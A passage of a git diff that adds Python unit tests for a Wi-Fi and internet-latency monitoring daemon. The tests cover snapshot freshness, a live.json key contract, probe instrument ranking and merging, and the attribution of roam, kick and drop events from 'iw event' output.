{"tx_retries": 1}} + + c = LinkCollector(lambda: "1.1.1.1", snapshot_fn=slow, interval_s=0.01) + c.start() + self.addCleanup(c.stop) + self.addCleanup(gate.set) + # start() took the first snapshot itself, so there is one to read... + self.assertEqual(c.latest["n"], 1) + # ...and reading while the thread is stuck costs nothing. + deadline = time.monotonic() + 2.0 + while len(calls) < 2 and time.monotonic() < deadline: + time.sleep(0.005) + t0 = time.monotonic() + snap = c.latest + self.assertLess(time.monotonic() - t0, 0.05) + self.assertEqual(snap["n"], 1) + # A copy: annotating it does not reach the collector's own dict. + snap["station"]["retry_pct"] = 50.0 + self.assertNotIn("retry_pct", c.latest["station"]) + + def test_a_failing_snapshot_keeps_the_last_good_one(self): + from nexthopd.daemon import LinkCollector + state = {"n": 0} + + def flaky(anchor): + state["n"] += 1 + if state["n"] > 1: + raise OSError("iw went away") + return {"iface": "wlo1", "n": 1} + + c = LinkCollector(lambda: "x", snapshot_fn=flaky, interval_s=0.01) + c.start() + self.addCleanup(c.stop) + deadline = time.monotonic() + 2.0 + while state["n"] < 3 and time.monotonic() < deadline: + time.sleep(0.005) + self.assertGreaterEqual(state["n"], 3) + self.assertEqual(c.latest, {"iface": "wlo1", "n": 1}) + self.assertTrue(c.is_alive()) + + +class SnapshotFreshnessBudget(unittest.TestCase): + """Nothing on the loop may be budgeted for longer than the snapshot it + delays is allowed to be old. + + The loop writes live.json and then does work. `AppTraffic.poll()` is + the only blocking call left in that stretch, so its deadline is how + stale live.json can get — and past `BarWidget.staleAfterS` the bar + stops believing the daemon: glyph only, no index, no headline, and + since 0.2.39 no liveness ring on the path sparklines. Both numbers + were 5: one file's worst case was exactly the other file's failure + threshold, so a single slow `ss` could report a perfectly healthy + daemon as absent. + + Pin the relationship, not either number — they live in different + files and in different languages, and neither one is wrong alone. + """ + + def stale_after_s(self): + import re + src = (REPO / "BarWidget.qml").read_text() + m = re.search(r"property\s+int\s+staleAfterS\s*:\s*(\d+)", src) + self.assertIsNotNone( + m, "staleAfterS is gone from BarWidget — find where the " + "staleness contract moved and re-point this test") + return float(m.group(1)) + + def test_the_blocking_poll_fits_well_inside_the_staleness_contract(self): + from nexthopd.apps import AppTraffic + contract = self.stale_after_s() + self.assertLess( + AppTraffic.POLL_DEADLINE_S, contract / 2.0, + "a full-deadline ss read would age live.json into the " + "bar's no-data state on a healthy daemon") + + def test_the_poll_deadline_covers_the_reap_too(self): + """The budget is the call's, not the read's — see `_reap`.""" + from nexthopd.apps import REAP_RESERVE_S, AppTraffic + self.assertLess(REAP_RESERVE_S, AppTraffic.POLL_DEADLINE_S) + + +class LiveJsonContract(unittest.TestCase): + """Every key the QML reads off live.json must be one compose_live + publishes. The dict literal is the contract; this pins the two halves + to each other, so a renamed or dropped key fails here rather than as a + blank in the panel.""" + + @staticmethod + def published(): + import ast + src = (REPO / "nexthopd" / "daemon.py").read_text() + fn = next(n for n in ast.walk(ast.parse(src)) + if isinstance(n, ast.FunctionDef) and n.name == "compose_live") + ret = [n for n in ast.walk(fn) + if isinstance(n, ast.Return) and isinstance(n.value, ast.Dict)][-1] + keys, nested = set(), {} + for k, v in zip(ret.value.keys, ret.value.values): + if isinstance(k, ast.Constant): + keys.add(k.value) + if isinstance(v, ast.Dict): + nested[k.value] = {kk.value for kk in v.keys + if isinstance(kk, ast.Constant)} + return keys, nested + + @staticmethod + def read_by_qml(): + import re + reads, nested = set(), {} + for q in REPO.glob("*.qml"): + for m in re.finditer(r"\blive\.([A-Za-z_]\w*)(?:\.([A-Za-z_]\w*))?", + q.read_text()): + if m.group(1) == "json": # the file's name, in prose + continue + reads.add(m.group(1)) + if m.group(2): + nested.setdefault(m.group(1), set()).add(m.group(2)) + return reads, nested + + def test_qml_reads_only_what_the_daemon_publishes(self): + keys, nested_keys = self.published() + reads, nested_reads = self.read_by_qml() + self.assertTrue(reads, "the scan found nothing — the regex is broken") + self.assertEqual(reads - keys, set()) + for parent, fields in nested_reads.items(): + if parent in nested_keys: + self.assertEqual(fields - nested_keys[parent], set(), parent) + + def test_the_keys_the_shell_service_relies_on_are_published(self): + keys, _ = self.published() + # The version handover and the liveness watch cannot work without these. + self.assertTrue({"t", "pid", "pid_start", "daemon_version", "state"} <= keys) + + +class ContentHint(unittest.TestCase): + """What the daemon hands the check to size itself with.""" + + class Store: + def __init__(self, rows): + self.rows = rows + + def tests(self, limit=20, kind=None): + return self.rows[:limit] + + def hint(self, rows, network): + d = Daemon.__new__(Daemon) + d.store = self.Store(rows) + return Daemon._content_hint(d, network) + + def row(self, network, down, up, ok=True): + return {"ok": ok, "network": network, "down_mbps": down, "up_mbps": up} + + def test_nothing_stored_gives_no_hint(self): + self.assertEqual(self.hint([], "home"), (None, None)) + + def test_only_this_network_counts(self): + rows = [self.row("cafe", 900.0, 400.0), self.row("home", 90.0, 20.0)] + self.assertEqual(self.hint(rows, "home"), (90.0, 20.0)) + + def test_the_best_recent_reading_wins_not_the_last(self): + # A check that came in low must not shrink the next transfer, which + # would read lower again: sizing off the last reading is a ratchet. + rows = [self.row("home", 40.0, 5.0), + self.row("home", 380.0, 90.0), + self.row("home", 350.0, 88.0)] + self.assertEqual(self.hint(rows, "home"), (380.0, 90.0)) + + def test_failed_and_empty_readings_are_skipped(self): + rows = [self.row("home", 900.0, 400.0, ok=False), + self.row("home", None, None), + self.row("home", 120.0, 30.0)] + self.assertEqual(self.hint(rows, "home"), (120.0, 30.0)) + + def test_a_direction_with_no_readings_stays_none(self): + rows = [self.row("home", 120.0, None)] + self.assertEqual(self.hint(rows, "home"), (120.0, None)) + + +class LoadFloor(unittest.TestCase): + """What counts as a busy link, for the loaded/idle latency split. + + The split used to borrow the Wi-Fi power-save floor of 25 kB/s, which on + this laptop sat inside the idle distribution: median minute 18 kB/s, p75 + 42 kB/s, and 36.6% of all minutes tagged loaded. Across 8,971 stored + minutes the loaded half read FASTER than the idle half 57% of the time — + a link cannot answer faster while busy, and a coin flip is what two + buckets holding the same thing look like. + """ + + class Link: + latest = {"ssid": "home"} + + class Store: + def __init__(self, mbps): + self.mbps = mbps + self.calls = 0 + + def baseline_speed(self, **kw): + self.calls += 1 + return self.mbps + + def daemon(self, mbps): + d = Daemon.__new__(Daemon) + d.link = self.Link() + d.store = self.Store(mbps) + return d + + def test_the_floor_is_a_tenth_of_what_the_line_carries(self): + d = self.daemon(400.0) # 400 Mbps = 50 MB/s + self.assertAlmostEqual(d.load_floor_bps(1000.0), 5_000_000.0, delta=1) + + def test_a_slow_line_is_not_held_to_a_fast_line_s_bar(self): + # The whole reason the number is a fraction: 5 MB/s is a tenth of + # this laptop's line and more than a 10 Mbps line can ever carry, so + # a fixed rate would switch the split off entirely down there. + d = self.daemon(10.0) + floor = d.load_floor_bps(1000.0) + self.assertLess(floor, 10.0 * 1e6 / 8) + self.assertGreaterEqual(floor, LOAD_FLOOR_BPS) + + def test_an_unmeasured_line_falls_back_to_the_floor(self): + self.assertEqual(self.daemon(None).load_floor_bps(1000.0), LOAD_FLOOR_BPS) + + def test_background_chatter_never_reaches_the_floor(self): + # The stored median minute and p75 on this machine. + d = self.daemon(400.0) + floor = d.load_floor_bps(1000.0) + for chatter in (18_020, 42_290, 182_094): + self.assertLess(chatter, floor) + + def test_it_is_read_once_a_minute_not_twice_a_second(self): + d = self.daemon(400.0) + for tick in range(0, 120, 1): + d.load_floor_bps(1000.0 + tick * 0.5) + self.assertLessEqual(d.store.calls, 2) + + def test_a_store_that_throws_does_not_stop_the_probes(self): + d = self.daemon(400.0) + + def boom(**kw): + raise RuntimeError("db is busy") + + d.store.baseline_speed = boom + self.assertEqual(d.load_floor_bps(1000.0), LOAD_FLOOR_BPS) + + +class RoamDoesNotResetTheSeries(unittest.TestCase): + """A roam is the same network, so the history must survive it. + + Raised by the HopSense session 2026-09-12: their sparkline filters rows by + network fingerprint because their sink keeps every network a device has + been on. Ours resets upstream instead, on a route change — so the question + is whether a BSSID change without a gateway change counts as one. It must + not: this laptop's own network kicked every station once a minute for a + while, and a series that reset on each roam would be permanently empty. + """ + + def daemon(self, route): + d = Daemon.__new__(Daemon) + d.route = route + d.config = {"internetAnchor": "1.1.1.1"} + d.rebuilt = [] + d._rebuild_probes = lambda fresh: d.rebuilt.append(fresh) + return d + + def run_with(self, current, fresh): + d = self.daemon(current) + real = daemon_mod.net.route_to + daemon_mod.net.route_to = lambda anchor: fresh + try: + Daemon.restart_probes_if_route_changed(d) + finally: + daemon_mod.net.route_to = real + return d.rebuilt + + def test_a_roam_keeps_the_series(self): + # Same gateway, same interface: only the access point changed. + here = {"gateway": "192.168.10.1", "iface": "wlo1"} + self.assertEqual(self.run_with(here, dict(here)), []) + + def test_a_different_gateway_resets(self): + rebuilt = self.run_with({"gateway": "192.168.10.1", "iface": "wlo1"}, + {"gateway": "10.0.0.1", "iface": "wlo1"}) + self.assertEqual(len(rebuilt), 1) + + def test_a_different_interface_resets(self): + # Docking: the same address on a different link is a different path. + rebuilt = self.run_with({"gateway": "192.168.10.1", "iface": "wlo1"}, + {"gateway": "192.168.10.1", "iface": "eth0"}) + self.assertEqual(len(rebuilt), 1) + + def test_losing_the_route_is_an_outage_not_a_new_network(self): + # Resetting here throws away the run-up to the drop, which is the one + # window a user wants afterwards. + self.assertEqual( + self.run_with({"gateway": "192.168.10.1", "iface": "wlo1"}, + {"gateway": None, "iface": "wlo1"}), []) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_instruments.py b/plugins/io.github.x3me.nexthop/test/test_instruments.py new file mode 100644 index 0000000..e0cdf20 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_instruments.py @@ -0,0 +1,252 @@ +"""Tests for instruments.py — ranking, the bench, the merged view and the equal-weight fold. + +Run: python3 -m unittest discover -s test +""" + +import sys +import time +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from nexthopd import score # noqa: E402 +from nexthopd.instruments import Bench, MergedSeries, penalty # noqa: E402 +from nexthopd.probes import Series # noqa: E402 +from support import _st # noqa: E402 + + +class InstrumentRanking(unittest.TestCase): + def test_loss_dominates_then_spread_then_median(self): + clean = penalty(_st(loss=0.0, p50=20, p95=30)) + lossy = penalty(_st(loss=0.05, p50=10, p95=12)) + wobbly = penalty(_st(loss=0.0, p50=20, p95=200)) + slower = penalty(_st(loss=0.0, p50=60, p95=70)) + self.assertLess(clean, lossy) # 5% loss loses to 10 ms spread + self.assertLess(clean, wobbly) # tail spread beats nothing + self.assertLess(clean, slower) # median only as tiebreak + self.assertLess(slower, wobbly) # 40 ms slower < 170 ms wobblier + + def test_too_few_samples_judge_nothing(self): + self.assertIsNone(penalty(_st(count=Bench.MIN_SAMPLES - 1))) + self.assertIsNone(penalty(None)) + self.assertIsNone(penalty({})) + + def test_full_loss_is_dead_not_slow(self): + dead = penalty({"count": 60, "loss": 1.0, "p50": None, "p95": None}) + self.assertGreaterEqual(dead, Bench.DEAD_AT) + + +class BenchSeats(unittest.TestCase): + POOL = [("icmp-a", "icmp", "1.1.1.1"), ("tcp-a", "tcp", "1.1.1.1:443"), + ("tcp-b", "tcp", "cf:443"), ("tcp-c", "tcp", "google:443")] + + def bench(self): + return Bench(self.POOL) + + def keys(self, b): + return sorted(i.key for i in b.actives()) + + def test_the_opening_pair_spans_two_hosts(self): + """Not `pool[:2]`, which was one host wearing two protocols. + + `icmp-a` and `tcp-a` both point at 1.1.1.1, so seating both put every + scored instrument on one address before any evidence existed. On a + network that blocks it, that is a false outage at 4 s and a desktop + notification at 5 s on every daemon start, with no way back until the + bench's next pass a minute later (#5). + """ + self.assertEqual(self.keys(self.bench()), ["icmp-a", "tcp-b"]) + + def test_a_blocked_anchor_still_leaves_a_working_seat(self): + """The property the pairing exists for. + + One live instrument is enough: the leg answers if either does, so no + outage is declared while the bench re-ranks. + """ + b = self.bench() + hosts = {i.target.rpartition(":")[0] or i.target for i in b.actives()} + self.assertEqual(len(hosts), 2) + anchor_seats = [i for i in b.actives() if i.target.startswith("1.1.1.1")] + self.assertEqual(len(anchor_seats), 1) + + def test_a_pool_with_one_host_still_fills_both_seats(self): + # Fewer scored instruments than the bench expects is the worse + # failure, so a pool that cannot offer two hosts falls back to order. + b = Bench([("icmp-a", "icmp", "1.1.1.1"), ("tcp-a", "tcp", "1.1.1.1:443")]) + self.assertEqual(self.keys(b), ["icmp-a", "tcp-a"]) + + def test_dead_seat_is_replaced_immediately(self): + b = self.bench() + stats = {"icmp-a": _st(), "tcp-b": _st(loss=1.0, p50=None, p95=None), + "tcp-a": _st(p50=25, p95=35), "tcp-c": _st(p50=40, p95=60)} + changes = b.evaluate(1000.0, stats) + self.assertEqual(sorted(changes), [("tcp-a", True), ("tcp-b", False)]) + self.assertEqual(self.keys(b), ["icmp-a", "tcp-a"]) + + def test_no_churn_during_a_full_outage(self): + b = self.bench() + dead = _st(loss=1.0, p50=None, p95=None) + stats = {k: dict(dead) for k in ("icmp-a", "tcp-a", "tcp-b", "tcp-c")} + self.assertEqual(b.evaluate(1000.0, stats), []) + self.assertEqual(self.keys(b), ["icmp-a", "tcp-b"]) + + def test_challenger_needs_two_consecutive_clear_wins(self): + b = self.bench() + # tcp-a is 20%+ better than the worst seat; one win is not enough. + stats = {"icmp-a": _st(p50=10, p95=14), "tcp-b": _st(p50=100, p95=160), + "tcp-a": _st(p50=20, p95=24), "tcp-c": _st(p50=90, p95=150)} + self.assertEqual(b.evaluate(1000.0, stats), []) + changes = b.evaluate(1000.0 + Bench.RESELECT_EVERY_S, stats) + self.assertEqual(sorted(changes), [("tcp-a", True), ("tcp-b", False)]) + self.assertEqual(self.keys(b), ["icmp-a", "tcp-a"]) + + def test_a_win_streak_broken_starts_over(self): + b = self.bench() + better = {"icmp-a": _st(p50=10, p95=14), "tcp-b": _st(p50=100, p95=160), + "tcp-a": _st(p50=20, p95=24), "tcp-c": _st(p50=90, p95=150)} + level = {"icmp-a": _st(p50=10, p95=14), "tcp-b": _st(p50=19, p95=24), + "tcp-a": _st(p50=20, p95=24), "tcp-c": _st(p50=90, p95=150)} + t = 1000.0 + self.assertEqual(b.evaluate(t, better), []) + self.assertEqual(b.evaluate(t + 300, level), []) # streak broken + self.assertEqual(b.evaluate(t + 600, better), []) # back to one win + self.assertEqual(self.keys(b), ["icmp-a", "tcp-b"]) + + def test_flapping_instrument_is_quarantined(self): + b = self.bench() + inst = b.instruments["tcp-a"] + t = 1000.0 + # Three seat changes inside an hour is a flap. + for _, active in (("tcp-a", True), ("tcp-a", False), ("tcp-a", True)): + b._seat(inst, t, active) + t += 60 + self.assertGreater(inst.quarantined_until, t) + # While quarantined it cannot be promoted, even over a corpse. + b._seat(inst, t, False) + stats = {"icmp-a": _st(), "tcp-b": _st(loss=1.0, p50=None, p95=None), + "tcp-a": _st(p50=5, p95=6), "tcp-c": _st(p50=40, p95=60)} + b.evaluate(t + 60, stats) + self.assertEqual(self.keys(b), ["icmp-a", "tcp-c"]) + + def test_snapshot_names_the_seats(self): + b = self.bench() + snap = b.snapshot(1000.0, {"icmp-a": _st(p50=7)}) + by_key = {row["key"]: row for row in snap} + self.assertTrue(by_key["icmp-a"]["active"]) + self.assertEqual(by_key["icmp-a"]["p50"], 7) + self.assertFalse(by_key["tcp-c"]["active"]) + self.assertEqual(len(snap), 4) + + +class MergedView(unittest.TestCase): + def test_merges_and_orders_the_seated_series(self): + from nexthopd.probes import Series + a, c = Series(), Series() + now = time.time() + a.add(now - 3, 10.0) + c.add(now - 2, None) + a.add(now - 1, 12.0) + m = MergedSeries(lambda: [a, c]) + self.assertEqual([s[1] for s in m.since(10)], [10.0, None, 12.0]) + self.assertEqual(len(m.all()), 3) + m2 = MergedSeries(lambda: [a]) + self.assertEqual(len(m2.since(10)), 2) + + +class EqualWeightMerge(unittest.TestCase): + """The scored internet leg is two instruments. Each must count once + whatever its cadence, and jitter must never be measured across them.""" + + @staticmethod + def stream(value_fn, interval, span=30.0, offset=0.0, now=None): + now = now or time.time() + s = Series() + t, i = now - span + offset, 0 + while t <= now: + s.add(t, value_fn(i), False) + t += interval + i += 1 + return s + + def test_cadence_cannot_move_the_statistics(self): + from nexthopd.instruments import merged_stats + now = time.time() + merged, pooled = set(), set() + for icmp_iv in (0.2, 0.5, 1.0): + a = self.stream(lambda i: 5.0, icmp_iv, now=now) + b = self.stream(lambda i: 15.0, 1.0, offset=0.25, now=now) + st = merged_stats([a.since(30), b.since(30)]) + merged.add((st["p50"], st["p75"], st["p95"], st["jitter"], st["loss"])) + # The pooled stream, which is what used to be scored. + old = Series.stats(MergedSeries(lambda: [a, b]).since(30)) + pooled.add((old["p75"], old["jitter"])) + self.assertEqual(len(merged), 1, merged) + self.assertEqual(merged.pop(), (5.0, 15.0, 15.0, 0.0, 0.0)) + # ...whereas the setting alone used to move p75 and jitter. + self.assertGreater(len(pooled), 1, pooled) + + def test_jitter_never_crosses_instruments(self): + from nexthopd.instruments import merged_stats + now = time.time() + steady_a = self.stream(lambda i: 5.0, 0.5, now=now) + steady_b = self.stream(lambda i: 15.0, 1.0, offset=0.25, now=now) + self.assertEqual(merged_stats([steady_a.since(30), + steady_b.since(30)])["jitter"], 0.0) + # Two streams with no jitter read as jittery when pooled: the defect. + self.assertGreater(Series.stats( + MergedSeries(lambda: [steady_a, steady_b]).since(30))["jitter"], 5.0) + # An instrument that really alternates contributes its own IPDV, + # averaged with the steady one's zero. + swinging = self.stream(lambda i: 10.0 if i % 2 else 40.0, 1.0, now=now) + st = merged_stats([swinging.since(30), steady_a.since(30)]) + self.assertEqual(st["jitter"], 15.0) + + def test_loss_is_the_mean_of_the_instruments_loss_rates(self): + from nexthopd.instruments import merged_stats + now = time.time() + lossy = self.stream(lambda i: None if i % 10 == 0 else 5.0, 0.5, now=now) + clean = self.stream(lambda i: 15.0, 1.0, offset=0.25, now=now) + a, b = lossy.since(30), clean.since(30) + a_loss = sum(1 for s in a if s[1] is None) / len(a) + st = merged_stats([a, b]) + self.assertAlmostEqual(st["loss"], a_loss / 2, places=9) + # Not the count-weighted figure the pool gave, which the faster + # instrument dominated. + self.assertNotAlmostEqual(st["loss"], a_loss * len(a) / (len(a) + len(b)), + places=3) + + def test_one_instrument_is_series_stats_exactly(self): + from nexthopd.instruments import merged_stats + a = self.stream(lambda i: 5.0 + (i % 3), 0.5) + self.assertEqual(merged_stats([a.since(30)]), Series.stats(a.since(30))) + # A seated instrument with nothing yet does not dilute the other. + self.assertEqual(merged_stats([a.since(30), []]), Series.stats(a.since(30))) + self.assertEqual(merged_stats([])["count"], 0) + + def test_this_line_as_built(self): + """ICMP 3.41 ms at 500 ms and TCP 4.82 ms at 1 s — live.json's own + figures on 2026-09-08. Two stable instruments: no jitter, and Lag + is the slower instrument's round trip.""" + from nexthopd.instruments import merged_stats + now = time.time() + a = self.stream(lambda i: 3.41, 0.5, now=now) + b = self.stream(lambda i: 4.82, 1.0, offset=0.25, now=now) + # lag_ms rounds to a tenth: the slower instrument's 4.82 and nothing added. + self.assertEqual(score.lag_ms(merged_stats([a.since(30), b.since(30)])), 4.8) + # The pool manufactured 0.93 ms of jitter and 1.4 ms of Lag. + old = score.lag_ms(Series.stats(MergedSeries(lambda: [a, b]).since(30))) + self.assertAlmostEqual(old, 6.2, delta=0.1) + + def test_merged_series_stats_is_the_equal_weight_fold(self): + from nexthopd.instruments import merged_stats + a = self.stream(lambda i: 5.0, 0.5) + b = self.stream(lambda i: 15.0, 1.0, offset=0.25) + m = MergedSeries(lambda: [a, b]) + self.assertEqual(m.stats(30), merged_stats([a.since(30), b.since(30)])) + self.assertEqual(len(m.each(30)), 2) + self.assertEqual(len(m.each()), 2) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_linkevents.py b/plugins/io.github.x3me.nexthop/test/test_linkevents.py new file mode 100644 index 0000000..fe99de8 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_linkevents.py @@ -0,0 +1,358 @@ +"""Tests for linkevents.py and LinkWatch — who ended the association. + +Run: python3 -m unittest discover -s test +""" + +import sys +import tempfile +import time +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from nexthopd.daemon import LinkWatch # noqa: E402 +from nexthopd.linkevents import NlEvents, reason_text # noqa: E402 +from nexthopd.store import Store # noqa: E402 +from support import StubEvents # noqa: E402 + + +class LinkEvents(unittest.TestCase): + def setUp(self): + self.dir = tempfile.TemporaryDirectory() + self.store = Store(Path(self.dir.name) / "t.db") + self.watch = LinkWatch(self.store) + + def tearDown(self): + self.store.close() + self.dir.cleanup() + + def kinds(self): + return [e["kind"] for e in self.store.events()] + + def test_first_sighting_is_not_an_association(self): + # A daemon restart sees an existing link — that is not an event. + t = time.time() + self.watch.sample(t, {"bssid": "aa:aa:aa:aa:aa:aa", "ssid": "Office"}) + self.assertEqual(self.kinds(), []) + + def test_roam_and_detail(self): + t = time.time() + self.watch.sample(t, {"bssid": "aa:aa:aa:aa:aa:aa", "ssid": "Office", + "channel": 149, "signal_dbm": -61}) + self.watch.sample(t + 2, {"bssid": "bb:bb:bb:bb:bb:bb", "ssid": "Office", + "channel": 44, "signal_dbm": -47}) + kinds = self.kinds() + self.assertIn("roam", kinds) + self.assertNotIn("associate", kinds) + roam = [e for e in self.store.events() if e["kind"] == "roam"][0] + self.assertIn("149", roam["detail"]) + self.assertIn("44", roam["detail"]) + self.assertIn("-61", roam["detail"]) + + def test_associate_needs_a_confirmed_gap(self): + t = time.time() + link = {"bssid": "aa:aa:aa:aa:aa:aa", "ssid": "Office"} + self.watch.sample(t, link) + # A brief iw hiccup (fewer empty reads than the threshold) is not a + # disassociation, so the recovery is not an association. + for i in range(LinkWatch.GAP_SAMPLES - 1): + self.watch.sample(t + 2 + i * 2, {}) + self.watch.sample(t + 20, link) + self.assertEqual(self.kinds(), []) + # A confirmed gap is, and the recovery is logged once. + for i in range(LinkWatch.GAP_SAMPLES): + self.watch.sample(t + 30 + i * 2, {}) + self.watch.sample(t + 60, link) + self.assertEqual(self.kinds(), ["associate"]) + + BUSY = 1_000_000 # bytes/sec, well above the idle floor + + def test_rate_drop_needs_sustain(self): + t = time.time() + link = {"bssid": "aa:aa:aa:aa:aa:aa", "ssid": "X", "channel": 44} + for i in range(5): + self.watch.sample(t + i * 2, dict(link, tx_mbps=500), self.BUSY) + # A momentary dip is not an event. + self.watch.sample(t + 12, dict(link, tx_mbps=120), self.BUSY) + self.watch.sample(t + 14, dict(link, tx_mbps=500), self.BUSY) + self.assertNotIn("rate-drop", self.kinds()) + # A sustained one is, and it closes with the recovery. + for i in range(8): + self.watch.sample(t + 20 + i * 2, dict(link, tx_mbps=110), self.BUSY) + self.assertIn("rate-drop", self.kinds()) + self.watch.sample(t + 40, dict(link, tx_mbps=480), self.BUSY) + drop = [e for e in self.store.events() if e["kind"] == "rate-drop"][0] + self.assertIsNotNone(drop["ended_ts"]) + self.assertIn("110", drop["detail"]) + + def test_idle_rate_drops_are_not_events(self): + # Power save renegotiates a low bitrate the moment the link idles; + # with no traffic that is invisible to the user and must not log. + t = time.time() + link = {"bssid": "aa:aa:aa:aa:aa:aa", "ssid": "X", "channel": 44} + for i in range(5): + self.watch.sample(t + i * 2, dict(link, tx_mbps=2000), self.BUSY) + for i in range(20): + self.watch.sample(t + 20 + i * 2, dict(link, tx_mbps=120), 500) + self.assertNotIn("rate-drop", self.kinds()) + + def test_throttled_to_one_hz(self): + t = time.time() + self.watch.sample(t, {"bssid": "aa:aa:aa:aa:aa:aa", "ssid": "X"}) + # Two samples inside the same second: the second is ignored, so a + # bssid flap faster than 1 Hz cannot spam the log. + self.watch.sample(t + 0.4, {"bssid": "bb:bb:bb:bb:bb:bb", "ssid": "X"}) + self.assertNotIn("roam", self.kinds()) + + +class LinkAttribution(unittest.TestCase): + """A BSSID change says who ended the previous association.""" + + OLD = "aa:aa:aa:aa:aa:aa" + NEW = "bb:bb:bb:bb:bb:bb" + + def setUp(self): + self.dir = tempfile.TemporaryDirectory() + self.store = Store(Path(self.dir.name) / "t.db") + + def tearDown(self): + self.store.close() + self.dir.cleanup() + + @staticmethod + def cause(by_ap, reason, gap_s): + return {"by_ap": by_ap, "reason": reason, "gap_s": gap_s, + "frame": "deauth", "t": 0.0} + + def change(self, cause, raise_=False): + events = StubEvents(cause, raise_) + watch = LinkWatch(self.store, events) + t = time.time() + watch.sample(t, {"bssid": self.OLD, "ssid": "Office", + "channel": 149, "signal_dbm": -30}) + watch.sample(t + 2, {"bssid": self.NEW, "ssid": "Office", + "channel": 13, "signal_dbm": -53}) + evs = self.store.events() + self.assertEqual(len(evs), 1) + return evs[0], events + + def test_ap_deauth_is_a_kick(self): + e, events = self.change(self.cause(True, 2, 3.0)) + self.assertEqual(e["kind"], "kick") + self.assertIn("Kicked by AP " + self.OLD, e["detail"]) + self.assertIn("reason 2: previous authentication no longer valid", + e["detail"]) + self.assertIn("rejoined via " + self.NEW + " after 3 s", e["detail"]) + self.assertIn("channel 149 \u2192 13", e["detail"]) + self.assertIn("-30 \u2192 -53 dBm", e["detail"]) + # It asked about the AP we left, over a window reaching back to + # when that link was last seen up. + bssid, now, window = events.calls[0] + self.assertEqual(bssid, self.OLD) + self.assertGreaterEqual(window, 2.0) + + def test_local_deauth_with_instant_reauth_is_a_roam(self): + # mac80211 emits the deauth from inside the call that starts the + # new authentication, so a roam's gap is milliseconds. + e, _ = self.change(self.cause(False, 1, 0.004)) + self.assertEqual(e["kind"], "roam") + self.assertTrue(e["detail"].startswith("Roamed to " + self.NEW)) + + def test_local_deauth_with_a_scan_first_is_a_drop(self): + e, _ = self.change(self.cause(False, 4, 2.8)) + self.assertEqual(e["kind"], "drop") + self.assertIn("Dropped by this machine (reason 4: beacon loss)", + e["detail"]) + self.assertIn("rejoined via " + self.NEW + " after 3 s", e["detail"]) + + def test_unknown_cause_stays_a_roam(self): + e, _ = self.change(None) + self.assertEqual(e["kind"], "roam") + self.assertTrue(e["detail"].startswith("Roamed to " + self.NEW)) + + def test_without_an_event_source_nothing_changes(self): + watch = LinkWatch(self.store) + t = time.time() + watch.sample(t, {"bssid": self.OLD, "ssid": "Office"}) + watch.sample(t + 2, {"bssid": self.NEW, "ssid": "Office"}) + self.assertEqual([e["kind"] for e in self.store.events()], ["roam"]) + + def test_attribution_failure_never_costs_the_event(self): + e, _ = self.change(self.cause(True, 2, 3.0), raise_=True) + self.assertEqual(e["kind"], "roam") + + def test_kick_with_a_confirmed_gap_is_one_row(self): + # Kicked, off the air long enough to count as disassociated, back + # on the same radio: one row says all of that, not a bare + # "Associated with". + events = StubEvents(self.cause(True, 2, None)) + watch = LinkWatch(self.store, events) + t = time.time() + link = {"bssid": self.OLD, "ssid": "Office"} + watch.sample(t, link) + for i in range(LinkWatch.GAP_SAMPLES): + watch.sample(t + 2 + i * 2, {}) + watch.sample(t + 14, link) + evs = self.store.events() + self.assertEqual([e["kind"] for e in evs], ["kick"]) + self.assertIn("rejoined after 14 s", evs[0]["detail"]) + self.assertNotIn(" via ", evs[0]["detail"]) + # The lookup window reached back to the last time the link was up. + self.assertGreaterEqual(events.calls[-1][2], 14.0) + + def test_gap_nobody_claimed_is_a_plain_association(self): + watch = LinkWatch(self.store, StubEvents(None)) + t = time.time() + link = {"bssid": self.OLD, "ssid": "Office"} + watch.sample(t, link) + for i in range(LinkWatch.GAP_SAMPLES): + watch.sample(t + 2 + i * 2, {}) + watch.sample(t + 14, link) + self.assertEqual([e["kind"] for e in self.store.events()], ["associate"]) + + +class NlEventParsing(unittest.TestCase): + """`iw event -t` lines become causes; everything else is ignored.""" + + AP = "02:11:22:33:44:05" + ME = "02:aa:bb:cc:dd:ee" + NEW = "02:11:22:33:44:09" + + def feed(self, lines): + ev = NlEvents() + for line in lines: + ev.consume(line) + return ev + + def test_ap_kick_then_rejoin_after_a_scan(self): + ev = self.feed([ + "1000.000100: wlo1 (phy #0): deauth %s -> %s reason 2: " + "Previous authentication no longer valid" % (self.AP, self.ME), + "1000.000200: wlo1 (phy #0): disconnected (by AP) reason: 2: " + "Previous authentication no longer valid", + "1000.100000: wlo1 (phy #0): scan started", + '1002.900000: wlo1 (phy #0): scan finished: 2412 2437, ""', + "1003.000100: wlo1 (phy #0): auth %s -> %s status: 0: Successful" + % (self.NEW, self.ME), + "1003.010000: wlo1 (phy #0): assoc %s -> %s status: 0: Successful" + % (self.NEW, self.ME), + "1003.012000: wlo1 (phy #0): connected to %s" % self.NEW, + ]) + c = ev.cause_for(self.AP, 1004.0, 30.0) + self.assertTrue(c["by_ap"]) + self.assertEqual(c["reason"], 2) + self.assertEqual(c["frame"], "deauth") + self.assertAlmostEqual(c["gap_s"], 3.0, places=2) + # The new AP ended nothing; and a cause ages out of the window. + self.assertIsNone(ev.cause_for(self.NEW, 1004.0, 30.0)) + self.assertIsNone(ev.cause_for(self.AP, 1100.0, 30.0)) + + def test_client_roam_is_local_and_instant(self): + ev = self.feed([ + "2000.000000: wlo1 (phy #0): deauth %s -> %s reason 1: Unspecified" + % (self.ME, self.AP), + "2000.004000: wlo1 (phy #0): auth %s -> %s status: 0: Successful" + % (self.NEW, self.ME), + ]) + c = ev.cause_for(self.AP, 2001.0, 30.0) + self.assertFalse(c["by_ap"]) + self.assertLess(c["gap_s"], LinkWatch.ROAM_FOLLOW_S) + + def test_ap_disassoc_counts_and_case_does_not_matter(self): + ev = self.feed([ + "3000.5: wlo1 (phy #0): disassoc %s -> %s reason 4: Disassociated " + "due to inactivity" % (self.AP.upper(), self.ME.upper()), + ]) + c = ev.cause_for(self.AP, 3001.0, 10.0) + self.assertEqual((c["by_ap"], c["reason"], c["frame"], c["gap_s"]), + (True, 4, "disassoc", None)) + 